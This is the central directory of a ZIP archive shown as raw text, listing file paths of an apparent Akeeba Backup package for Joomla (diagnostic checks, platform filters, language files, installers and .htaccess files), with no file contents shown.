+   +   C            ia vendor/greenlion/php-sql-parser/tests/expected/creator/issue62m.sqlnu [        PK       \Sʉ      @            a vendor/greenlion/php-sql-parser/tests/expected/creator/.htaccessnu 7m        PK       \<A   A   C            da vendor/greenlion/php-sql-parser/tests/expected/creator/issue62b.sqlnu [        PK       \g=   =   B            a vendor/greenlion/php-sql-parser/tests/expected/creator/insert2.sqlnu [        PK       \vMd   d   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue33c.sqlnu [        PK       \Odt      C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62c.sqlnu [        PK       \Sʉ      8            ,a vendor/greenlion/php-sql-parser/tests/expected/.htaccessnu 7m        PK       \Sʉ      /            a vendor/greenlion/php-sql-parser/tests/.htaccessnu 7m        PK       \Y    8            a vendor/greenlion/php-sql-parser/.github/workflows/ci.ymlnu [        PK       \Sʉ      ;            9a vendor/greenlion/php-sql-parser/.github/workflows/.htaccessnu 7m        PK       \Sʉ      1            a vendor/greenlion/php-sql-parser/.github/.htaccessnu 7m        PK       \]Y'   '   *            a vendor/greenlion/php-sql-parser/runtest.shnu [        PK       \Sʉ      )            `a vendor/greenlion/php-sql-parser/.htaccessnu 7m        PK       \Sʉ                  a vendor/greenlion/.htaccessnu 7m        PK       \Sʉ                  a vendor/.htaccessnu 7m        PK       \r                
a akeebabackup.xmlnu [        PK       \u6  6  )            La AliceChecks/Check/Requirements/Memory.phpnu [        PK       \Î؜    2            a AliceChecks/Check/Requirements/DatabaseVersion.phpnu [        PK       \}(@  @  6            a AliceChecks/Check/Requirements/DatabasePermissions.phpnu [        PK       \xi  i  -            b AliceChecks/Check/Requirements/PHPVersion.phpnu [        PK       \Sʉ      (            Eb AliceChecks/Check/Requirements/.htaccessnu 7m        PK       \9H    7            b AliceChecks/Check/Runtimeerrors/WindowsCannotAppend.phpnu [        PK       \&,)  )  <            b AliceChecks/Check/Runtimeerrors/AddedCoreDatabaseAsExtra.phpnu [        PK       \.	  	  -            8b AliceChecks/Check/Runtimeerrors/Kettenrad.phpnu [        PK       \u    .            ?%b AliceChecks/Check/Runtimeerrors/FatalError.phpnu [        PK       \a p    7            *b AliceChecks/Check/Runtimeerrors/CorruptInstallation.phpnu [        PK       \3r,\  \  +            2b AliceChecks/Check/Runtimeerrors/Timeout.phpnu [        PK       \     6            Cb AliceChecks/Check/Runtimeerrors/ErrorLogsInArchive.phpnu [        PK       \|    ,            Ib AliceChecks/Check/Runtimeerrors/PartSize.phpnu [        PK       \tS
  
  >            Pb AliceChecks/Check/Runtimeerrors/ExtraDatabaseCannotConnect.phpnu [        PK       \/C  C  /            [b AliceChecks/Check/Runtimeerrors/TooManyRows.phpnu [        PK       \g    1            db AliceChecks/Check/Runtimeerrors/TooManyTables.phpnu [        PK       \Sʉ      )            lb AliceChecks/Check/Runtimeerrors/.htaccessnu 7m        PK       \- O  O  .            [mb AliceChecks/Check/Filesystem/MultipleSites.phpnu [        PK       \B~  ~  +            sb AliceChecks/Check/Filesystem/OldBackups.phpnu [        PK       \v;
  ;
  +            {b AliceChecks/Check/Filesystem/LargeFiles.phpnu [        PK       \Sʉ      &            wb AliceChecks/Check/Filesystem/.htaccessnu 7m        PK       \d:    1            b AliceChecks/Check/Filesystem/LargeDirectories.phpnu [        PK       \-/                #b AliceChecks/Check/Base.phpnu [        PK       \Sʉ                  qb AliceChecks/Check/.htaccessnu 7m        PK       \n    +            b AliceChecks/Exception/StopScanningEarly.phpnu [        PK       \cn  n  +            Ҩb AliceChecks/Exception/CannotOpenLogfile.phpnu [        PK       \Sʉ                  b AliceChecks/Exception/.htaccessnu 7m        PK       \|N                ׬b AliceChecks/web.confignu [        PK       \Sʉ                  2b AliceChecks/.htaccessnu 7m        PK       \?_  _  +            db platform/Joomla/Filter/Systemcachefiles.phpnu [        PK       \AL~  ~  +            b platform/Joomla/Filter/Excludetabledata.phpnu [        PK       \Aާ    0            b platform/Joomla/Filter/Stack/StackActionlogs.phpnu [        PK       \c    1            b platform/Joomla/Filter/Stack/installedtables.jsonnu [        PK       \m]R  R  5            ,b platform/Joomla/Filter/Stack/StackInstalledtables.phpnu [        PK       \rKN  N  ,            b platform/Joomla/Filter/Stack/core_tables.phpnu [        PK       \S(      (            b platform/Joomla/Filter/Stack/finder.jsonnu [        PK       \Sʉ      &            b platform/Joomla/Filter/Stack/.htaccessnu 7m        PK       \y*    ,            Hb platform/Joomla/Filter/Stack/StackFinder.phpnu [        PK       \ay,  ,  ,            b platform/Joomla/Filter/Stack/actionlogs.jsonnu [        PK       \is[  [  '            b platform/Joomla/Filter/Excludefiles.phpnu [        PK       \p      %            b platform/Joomla/Filter/Cvsfolders.phpnu [        PK       \?O    '            Eb platform/Joomla/Filter/Publicfolder.phpnu [        PK       \5},  ,  *            mb platform/Joomla/Filter/Joomlaskipfiles.phpnu [        PK       \w-    )            c platform/Joomla/Filter/Excludefolders.phpnu [        PK       \    #            Qc platform/Joomla/Filter/Siteroot.phpnu [        PK       \w*     $            0c platform/Joomla/Filter/Libraries.phpnu [        PK       \YH,  ,  )            Gc platform/Joomla/Filter/Joomlaskipdirs.phpnu [        PK       \l    !            /c platform/Joomla/Filter/Sitedb.phpnu [        PK       \Sʉ                   =c platform/Joomla/Filter/.htaccessnu 7m        PK       \%0St  t              ?c platform/Joomla/Platform.phpnu [        PK       \~dnA&  A&  !            >c platform/Joomla/Driver/Joomla.phpnu [        PK       \Sʉ                   c platform/Joomla/Driver/.htaccessnu 7m        PK       \G    $            c platform/Joomla/Config/04.quota.jsonnu [        PK       \^٫    '            Fc platform/Joomla/Config/02.advanced.jsonnu [        PK       \Rn   n   (            c platform/Joomla/Config/Pro/04.quota.jsonnu [        PK       \x԰<  <  +            }d platform/Joomla/Config/Pro/02.platform.jsonnu [        PK       \:Z    )            )d platform/Joomla/Config/Pro/05.tuning.jsonnu [        PK       \Aa   a   *            
9d platform/Joomla/Config/Pro/03.filters.jsonnu [        PK       \YD  D  (            9d platform/Joomla/Config/Pro/01.basic.jsonnu [        PK       \K    +            aAd platform/Joomla/Config/Pro/02.advanced.jsonnu [        PK       \Sʉ      $            eJd platform/Joomla/Config/Pro/.htaccessnu 7m        PK       \Sʉ                   Kd platform/Joomla/Config/.htaccessnu 7m        PK       \Sʉ                  Ld platform/Joomla/.htaccessnu 7m        PK       \|N                Nd platform/web.confignu [        PK       \Sʉ                  qPd platform/.htaccessnu 7m        PK       \A`B    '            Qd language/fr-FR/com_akeebabackup.sys.ininu [        PK       \#,[ [ #            fd language/fr-FR/com_akeebabackup.ininu [        PK       \Sʉ                  h language/fr-FR/.htaccessnu 7m        PK       \F    '             h language/pt-PT/com_akeebabackup.sys.ininu [        PK       \Z`?>D >D #            /h language/pt-PT/com_akeebabackup.ininu [        PK       \Sʉ                  m language/pt-PT/.htaccessnu 7m        PK       \cY    '            m language/el-GR/com_akeebabackup.sys.ininu [        PK       \B2ȧ  #            <m language/el-GR/com_akeebabackup.ininu [        PK       \Sʉ                  <s language/el-GR/.htaccessnu 7m        PK       \     '            qs language/de-DE/com_akeebabackup.sys.ininu [        PK       \H|]= ]= #            {s language/de-DE/com_akeebabackup.ininu [        PK       \Sʉ                  +x language/de-DE/.htaccessnu 7m        PK       \u     '            `x language/it-IT/com_akeebabackup.sys.ininu [        PK       \-  #            s*x language/it-IT/com_akeebabackup.ininu [        PK       \Sʉ                  @| language/it-IT/.htaccessnu 7m        PK       \YN  N  '            A| language/es-ES/com_akeebabackup.sys.ininu [        PK       \'=H H #            wW| language/es-ES/com_akeebabackup.ininu [        PK       \Sʉ                  h language/es-ES/.htaccessnu 7m        PK       \b>\-  -  '             language/en-GB/com_akeebabackup.sys.ininu [        PK       \  #            ! language/en-GB/com_akeebabackup.ininu [        PK       \Sʉ                  u language/en-GB/.htaccessnu 7m        PK       \|N                1w language/web.confignu [        PK       \Sʉ                  y language/.htaccessnu 7m        PK       \69  9  
            z access.xmlnu [        PK       \3  3              +~ forms/filter_profiles.xmlnu [        PK       \                 forms/profile.xmlnu [        PK       \/dfo                ݋ forms/filter_manage.xmlnu [        PK       \	k!  !              的 forms/statistic.xmlnu [        PK       \|N                K forms/web.confignu [        PK       \Sʉ                   forms/.htaccessnu 7m        PK       \DcR.                ̬ installers/brs-generic.jpanu [        PK       \$l  l  !            Ä installers/kickstart.transfer.phpnu [        PK       \9gE E             ݄ installers/brs.jpanu [        PK       \ŕ              # installers/kickstart.datnu [        PK       \	3                 installers/brs-generic.jsonnu [        PK       \A                 installers/brs-joomla.jsonnu [        PK       \A                 installers/brs.jsonnu [        PK       \|N                ϫ installers/web.confignu [        PK       \Sʉ                  ) installers/.htaccessnu 7m        PK       \x              Z installers/brs-joomla.jpanu [        PK       \ڰb                  m serverkey.phpnu [        PK     L   